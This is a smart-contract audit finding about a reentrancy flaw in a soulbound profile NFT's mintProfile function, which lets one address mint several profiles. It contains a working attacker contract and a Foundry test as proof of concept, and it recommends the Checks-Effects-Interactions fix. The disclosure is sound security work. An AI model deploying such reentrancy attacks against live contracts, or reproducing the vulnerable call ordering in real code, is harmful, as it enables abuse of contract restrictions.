Description: An attacker can use a contract that makes another mintProfile call within the
onERC721Received callback, allowing them to bypass the restriction that limits each address to
minting only one profile NFT. This results in the same address minting multiple profile NFTs.
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
@> _safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Impact: the attacker contract can hold multiple profile NFTs
Proof of Concept:
create an attacker contract as follows
pragma solidity ^0.8.19;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {SoulboundProfileNFT} from "src/SoulboundProfileNFT.sol";
contract ScamUser is IERC721Receiver, Ownable {
SoulboundProfileNFT internal profileNFT;
bool private reentrancyAttack = false;
constructor(address profileNFTAddress) Ownable(msg.sender) {
profileNFT = SoulboundProfileNFT(profileNFTAddress);
}
function attack(string memory name, uint8 age, string memory profileImage) external onlyOwner {
reentrancyAttack = true;
profileNFT.mintProfile(name, age, profileImage);
}
function onERC721Received(
address ,
address ,
uint256 ,
bytes calldata
) external override returns (bytes4) {
if (reentrancyAttack){
reentrancyAttack = false;
profileNFT.mintProfile("ScamUser", 99, "ipfs://scamUserImage");
}
return this.onERC721Received.selector;
}
}
then add the following to testSoulboundProfileNFT.t.sol
import {ScamUser} from "./mock/ScamUser.sol";
...
address attacker = makeAddr("attacker");
...
function testMintMultipleProfiles() public {
vm.startPrank(attacker);
ScamUser scamUser = new ScamUser(address(soulboundNFT));
assertEq(soulboundNFT.balanceOf(address(scamUser)), 0);
scamUser.attack("attacker", 25, "ipfs://scamUserImage1");
assertEq(soulboundNFT.balanceOf(address(scamUser)), 2);
vm.stopPrank();
}
Recommended Mitigation:
Adhere to the CEI (Checks-Effects-Interactions) pattern by performing interactions only after applying state changes.
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
